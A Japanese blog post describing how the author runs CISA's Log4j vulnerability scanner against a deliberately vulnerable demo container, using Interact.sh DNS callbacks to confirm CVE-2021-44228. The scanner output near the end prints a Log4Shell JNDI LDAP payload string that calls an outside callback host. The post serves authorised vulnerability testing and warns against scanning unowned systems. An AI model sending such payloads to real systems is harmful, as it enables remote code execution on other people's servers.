Log4j Scannerを動かしてみた

# Log4j Scannerとは
CISA(Cybersecurity and Infrastructure Security Agency)が公開したlog4j Remote Code Execusionの脆弱性（CVE-2021-44228およびCVE-2021-45046）に対するスキャンツールです。この記事では、動かしてみると意外と困ったので、筆者が行った手順を備忘録的に保管するために記載しました。このやり方が正しいやり方ではない可能性がありますので、その点ご了承ください。

詳しくは、下記をご覧ください。
https://github.com/cisagov/log4j-scanner

なお、Log4j Scannerは攻撃リクエストが飛びますので、自身が管理するもしくは許可されたシステム以外には、絶対スキャンしないでください。

# 仕組み
このスキャナーでは、HttpヘッダやパラメータにPAYLOADを付与してリクエストされます。見た感じ、1URLにつき、GETが1回、POSTが2回飛んでました。脆弱性が存在すると`--custom-dns-callback-host`で指定したドメインのNSレコードに登録されたDNSサーバに、名前解決リクエストが来ます。それを検知することで脆弱性の有無を調べるみたいです。

# 準備するもの
- スキャナーを動かす環境。今回Windows Subsystem Linux 2のUbuntuで動かしました。
- ターゲットとなるサイト。今回は、Dockerコンテナの[coffeehb/log4jdemo](https://hub.docker.com/r/coffeehb/log4jdemo)を使いました。
- 攻撃を検知するDNSサーバ。今回は、[Interact.sh](https://github.com/projectdiscovery/interactsh)を使いました。

# 手順
## スキャナーを動かす環境
WSL2のUbuntuの準備は割愛します。また、`python3`も必要です。

```bash
# GitHubから取得します
$ git clone git@github.com:cisagov/log4j-scanner.git
$ cd log4j-scanner/

# 必要なモジュールをインストールします
$ sudo pip3 install -r requirements.txt
```

## ターゲットとなるサイト
スキャン対象として、Docker Hubにあるコンテナ[coffeehb/log4jdemo](https://hub.docker.com/r/coffeehb/log4jdemo)を使わせていただきました。なお、今回はUbuntu 20.04 LTS環境で実行してます。

```bash
$ sudo apt install docker.io
$ sudo docker pull coffeehb/log4jdemo:latest
# 8000ポートで起動
$ sudo docker run -it --rm -p 8000:8080 coffeehb/log4jdemo
```

`http://[host]:8000/api`にアクセスし、「GET request to /api is successful.」というメッセージがブラウザに表示されたらOKです。起動したまま次に進みます。

## 攻撃を検知するDNSサーバ
ここが一番問題です。Log4j ScannerのGitHubには、「Configure your own DNS Server - Preferred)」との記載があり、自身でDNSサーバを準備手順が記載されておりますが、グローバルIPアドレスとドメインが必要となりコストがかかります。

ですので、同じく「DNS providers - (Interact.sh or canarytokens.org)」に記載のある[Interact.sh](https://github.com/projectdiscovery/interactsh)を使います。

このツールは、Interactsh Clientをコマンドで起動するとURLが出てきます（もしくは[Interactsh web](https://github.com/projectdiscovery/interactsh-web)にブラウザでアクセスする）。そのURLに対するDNS、HTTP、SMTPアクセスのログを出力してくれるツールだと思います。（たぶん。詳しく確認してないです。。）今回は、DNSサーバとして名前解決リクエストをこのツールで確認しました。

今回は、Interactsh ClientをWSL2のUbuntuで起動します（[Interactsh web](https://github.com/projectdiscovery/interactsh-web)の方が簡単ですよ）。なお、**go1.17+** が必要なのですが、Ubuntuの公式リポジトリのgoは、バージョンが低いのでリポジトリを追加しました。

```bash
$ sudo add-apt-repository ppa:longsleep/golang-backports
$ sudo apt update
$ sudo apt install golang
$ go version
go version go1.17.5 linux/amd64
```

後は、[Interact.sh](https://github.com/projectdiscovery/interactsh)のGitHubに記載された手順でインストールします。

```bash
$ go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
$ ./go/bin/interactsh-client -v -o interactsh-logs.txt

    _       __                       __       __
   (_)___  / /____  _________ ______/ /______/ /_
  / / __ \/ __/ _ \/ ___/ __ '/ ___/ __/ ___/ __ \
 / / / / / /_/  __/ /  / /_/ / /__/ /_(__  ) / / /
/_/_/ /_/\__/\___/_/   \__,_/\___/\__/____/_/ /_/ v0.0.7

                projectdiscovery.io

[INF] Listing 1 payload for OOB Testing
[INF] ***************************************.interact.sh  ←これをコピー
```

この環境は、スキャンが完了するまで放置しておきます。

## スキャンする
「スキャナーを動かす環境を準備」で準備したWSL2のUbuntu環境で、以下のコマンドを実行します。

```bash
$ cd log4j-scanner/log4-scanner/
$ python3 log4j-scan.py --run-all-tests --custom-dns-callback-host ******.interact.sh -u http://[host]:8000/api
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Using custom DNS Callback host [******.interact.sh]. No verification will be done after sending fuzz requests.
[%] Checking for Log4j RCE CVE-2021-44228.
[•] URL: http://[host]:8000/api
[•] URL: http://[host]:8000/api | PAYLOAD: ***********
[•] Payloads sent to all URLs. Custom DNS Callback host is provided, please check your logs to verify the existence of the vulnerability. Exiting.

```


- `--custom-dns-callback-host`：先ほど起動したInteractsh Clientの`******..interact.sh`を貼り付けてください
- `-u`には、対象サイトのURLを記載してください。`-l`にしてファイルを指定するとURLリストも指定できます
- 追加で`--test-CVE-2021-45046`を追加すると、CVE-2021-45056をスキャンするようです。

「攻撃を検知するDNSサーバ」では下記のように表示されてます。

```bash
$ ./go/bin/interactsh-client -v -o interactsh-logs.txt

    _       __                       __       __
   (_)___  / /____  _________ ______/ /______/ /_
  / / __ \/ __/ _ \/ ___/ __ '/ ___/ __/ ___/ __ \
 / / / / / /_/  __/ /  / /_/ / /__/ /_(__  ) / / /
/_/_/ /_/\__/\___/_/   \__,_/\___/\__/____/_/ /_/ v0.0.7

                projectdiscovery.io

[INF] Listing 1 payload for OOB Testing
[INF] *******.interact.sh
[[host].*******] Received DNS interaction (A) from W.X.Y.Z at 2021-12-24 03:25:36
-----------
DNS Request
-----------

;; opcode: QUERY, status: NOERROR, id: 25846
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; QUESTION SECTION:
;[host].*******.interact.sh.   IN       A

;; ADDITIONAL SECTION:

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1232


------------
DNS Response
------------

;; opcode: QUERY, status: NOERROR, id: 25846
;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;[host].*******.interact.sh.   IN       A

;; ANSWER SECTION:
[host].*******.interact.sh.    3600    IN      A       A.B.C.D

;; AUTHORITY SECTION:
[host].*******.interact.sh.    3600    IN      NS      ns1.interact.sh.
[host].*******.interact.sh.    3600    IN      NS      ns2.interact.sh.

;; ADDITIONAL SECTION:
ns1.interact.sh.        3600    IN      A       46.101.25.250
ns2.interact.sh.        3600    IN      A       46.101.25.250

～～～割愛～～～
```

`[host].*******.interact.sh`の、`[host]`「ターゲットとなるサイト」のFQDNが入ります。`*******.interact.sh`には、「攻撃を検知するDNSサーバ」で起動したInteractsh ClientのURLが入ります。

「攻撃を検知するDNSサーバ」で名前解決を確認しましたので、スキャンによって脆弱性を検知したことがわかりました。

手順は多いですが、スムーズならすぐにスキャンできますね。なお、スキャンの際には自身が管理するもしくは許可されたシステム以外には、絶対スキャンしないように注意してください。

# custom-dns-callback-hostオプションを使わない方法(2021/12/28追記)
`--custom-dns-callback-host`を使わない方法について追記します。このオプションを使わない場合は、デフォルトでローカルのInteract.shを起動します。そのため、`interactsh-client`をインストールしたディレクトリにPATHを通しておく必要があります。

```bash
$ export PATH="$PATH:~/go/bin/"
```

さらに、私の環境では、下記のようなエラーがでました。

```bash
$ python3 log4j-scan.py --run-all-tests -u http://[host]:8000/api
~中略~
AttributeError: /home/ubuntu/.local/lib/python3.8/site-packages/Crypto/Util/../Hash/_SHA256.cpython-38-x86_64-linux-gnu.so: undefined symbol: SHA256_init
```

このエラーは、`log4j-scan.py`に必要なモジュールの`pycryptodome`が、`pycrypto`と同時にインストールすると干渉するようです。
参照：https://github.com/pycrypto/pycrypto/issues/233

そのため、`pycrypto`と`pycryptodome`を一度アンインストールして、`pycryptodome`を入れ直しました。

```bash
$ pip3 uninstall -y pycrypto
$ pip3 uninstall -y pycryptodome
$ pip3 install -r requirements.txt
```
最後に実行します。

```bash
$ python3 log4j-scan.py --run-all-tests -u http://[host]:8000/api
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
[%] Checking for Log4j RCE CVE-2021-44228.
[•] URL: http://[host]:8000/api
[•] URL: http://[host]:8000/api | PAYLOAD: ${jndi:ldap://[host].*****************.interact.sh/*****}
[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.
[•] Waiting...
[!!!]Targets Affected
~中略~
```

`[!!!]Targets Affected`と出ました。検知されたということでしょう。

pythonのモジュールが干渉するとかで、苦戦しましたが、準備できてしまえば、こちらの方が手順としては楽そうですね。

# リファレンス
- https://github.com/cisagov/log4j-scanner/tree/master/log4-scanner
- https://github.com/projectdiscovery/interactsh
- https://golangstart.com/no_apt/
- https://github.com/pycrypto/pycrypto/issues/233